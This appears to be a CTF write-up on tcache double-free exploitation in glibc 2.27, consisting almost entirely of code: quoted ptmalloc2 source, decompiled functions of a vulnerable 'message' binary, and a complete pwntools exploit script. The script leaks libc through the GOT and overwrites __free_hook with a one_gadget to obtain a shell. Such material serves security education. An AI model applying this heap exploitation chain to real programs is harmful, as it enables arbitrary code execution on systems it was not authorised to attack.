Pwn Ptmalloc2 Tcache Double Free

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
# define TCACHE_MAX_BINS    64
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  ...
#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
  && tc_idx < mp_.tcache_bins
  && tcache->counts[tc_idx] < mp_.tcache_count)
      {
  tcache_put (p, tc_idx);
  return;
      }
  }
#endif
  ...
}

1
2
3

# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
// 64位下, 把宏替换掉, 结果是这样:
# define csize2tidx(x) (((x) - 0x10 - 1) / 0x10)

1
2
3
4
5
6
7
8

# define TCACHE_FILL_COUNT 7
static struct malloc_par mp_ =
{
  ...
  .tcache_count = TCACHE_FILL_COUNT,
  .tcache_bins = TCACHE_MAX_BINS,
  ...
};

1
2
3
4
5
6
7
8
9

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

void *
__libc_malloc (size_t bytes)
{
  ...
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);

  if (tc_idx < mp_.tcache_bins
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
#endif
    ...
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

static __thread tcache_perthread_struct *tcache = NULL;
static void
tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  // tcache 结构体大小
  const size_t bytes = sizeof (tcache_perthread_struct);

  // 获得当前 arena
  arena_get (ar_ptr, bytes);
  // 使用 malloc(bytes) 分配内存
  victim = _int_malloc (ar_ptr, bytes);
  /*
    一些没有分配到合适内存的处理
  */
  ...
  // 设置 tcache 并初始化
  if (victim)
    {
      tcache = (tcache_perthread_struct *) victim;
      memset (tcache, 0, sizeof (tcache_perthread_struct));
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }

  if (mem == 0)                              /* free(0) has no effect */
    return;

  p = mem2chunk (mem);

  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      /* See if the dynamic brk/mmap threshold needs adjusting.
   Dumped fake mmapped chunks do not affect the threshold.  */
      if (!mp_.no_dyn_threshold
          && chunksize_nomask (p) > mp_.mmap_threshold
          && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
    && !DUMPED_MAIN_ARENA_CHUNK (p))
        {
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);
      return;
    }

  MAYBE_INIT_TCACHE ();

  ar_ptr = arena_for_chunk (p);
  _int_free (ar_ptr, p, 0);
}

1
2
3

# define MAYBE_INIT_TCACHE() \
  if (__glibc_unlikely (tcache == NULL)) \
    tcache_init();

1
2
3
4

typedef struct Msg {
  int len;
  char *str;
} Msg;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

void __fastcall add()
{
  int i; // [rsp+8h] [rbp-28h]
  int len; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num <= 10 )
  {
    puts("Please input the length of message:");
    read(0, buf, 8uLL);
    len = atoi(buf);
    if ( len <= 0 )
    {
      puts("Length is invalid!");
    }
    else
    {
      for ( i = 0; i <= 9; ++i )
      {
        if ( !msglist[i].str )
        {
          msglist[i].len = len;
          msglist[i].str = (char *)malloc(len);
          puts("Please input the message:");
          read(0, msglist[i].str, len);
          ++num;
          return;
        }
      }
    }
  }
  else
  {
    puts("Message is full!");
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

unsigned __int64 delete()
{
  int idx; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num <= 0 )
  {
    puts("There is no message in system");
  }
  else
  {
    puts("Please input index of message you want to delete:");
    read(0, buf, 8uLL);
    idx = atoi(buf);
    if ( idx < 0 || idx > 9 )
    {
      puts("Index is invalid!");
    }
    else
    {
      free(msglist[idx].str);
      msglist[idx].len = 0;
      --num;
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

unsigned __int64 edit()
{
  int idx; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num <= 0 )
  {
    puts("No message can you edit");
  }
  else
  {
    puts("Please input index of message you want to edit:");
    read(0, buf, 8uLL);
    idx = atoi(buf);
    if ( msglist[idx].len && idx >= 0 && idx <= 9 )
    {
      puts("Now you can edit the message:");
      read(0, msglist[idx].str, (int)msglist[idx].len);
    }
    else
    {
      puts("Index is invalid!");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

unsigned __int64 display()
{
  int idx; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num <= 0 )
  {
    puts("No message in system");
  }
  else
  {
    puts("Please input index of message you want to display:");
    read(0, buf, 8uLL);
    idx = atoi(buf);
    if ( msglist[idx].len && idx >= 0 && idx <= 9 )
      printf("The message: %s\n", msglist[idx].str);
    else
      puts("Index is invalid!");
  }
  return __readfsqword(0x28u) ^ v3;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './message'

io = process(procname)
# io = remote()
elf = ELF(procname)
libc = ELF('/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')

def n2b(x):
  return str(x).encode()

def op(x):
  io.sendlineafter(b": ", n2b(x))

def add(len, msg):
  op(1)
  io.sendlineafter(b':\n', n2b(len))
  io.sendafter(b':\n', msg)

def delete(idx):
  op(2)
  io.sendlineafter(b':\n', n2b(idx))

def edit(idx, msg):
  op(3)
  io.sendlineafter(b':\n', n2b(idx))
  io.sendafter(b':\n', msg)

def display(idx):
  op(4)
  io.sendlineafter(b':\n', n2b(idx))
  io.recvuntil(b'The message: ')
  return io.recvline(keepends=False)

def main():
  add(0x10, b'zzzz') # 0
  add(0x10, b'aaaa') # 1
  delete(1)
  delete(1)

  msglist = 0x0602060
  fake_mem = msglist + 0x08
  add(0x10, p64(fake_mem)) # 2 = 1
  add(0x10, b'bbbb')     # 3 = 1
  got_atoi = elf.got['atoi']
  add(0x10, p64(got_atoi)) # 4 = fake mem

  atoi = u64(display(0).ljust(8, b'\x00'))
  success(f'atoi addr: {hex(atoi)}')
  libc_base = atoi - libc.sym['atoi']
  success(f'libc base: {hex(libc_base)}')
  free_hook = libc_base + libc.sym['__free_hook']
  success(f'free hook: {hex(free_hook)}')

  onegadget = [0x4f2c5, 0x4f322, 0x10a38c]
  edit(4, p64(free_hook))
  edit(0, p64(onegadget[1] + libc_base))

  delete(0)
  io.interactive()

if __name__ == '__main__':
  main()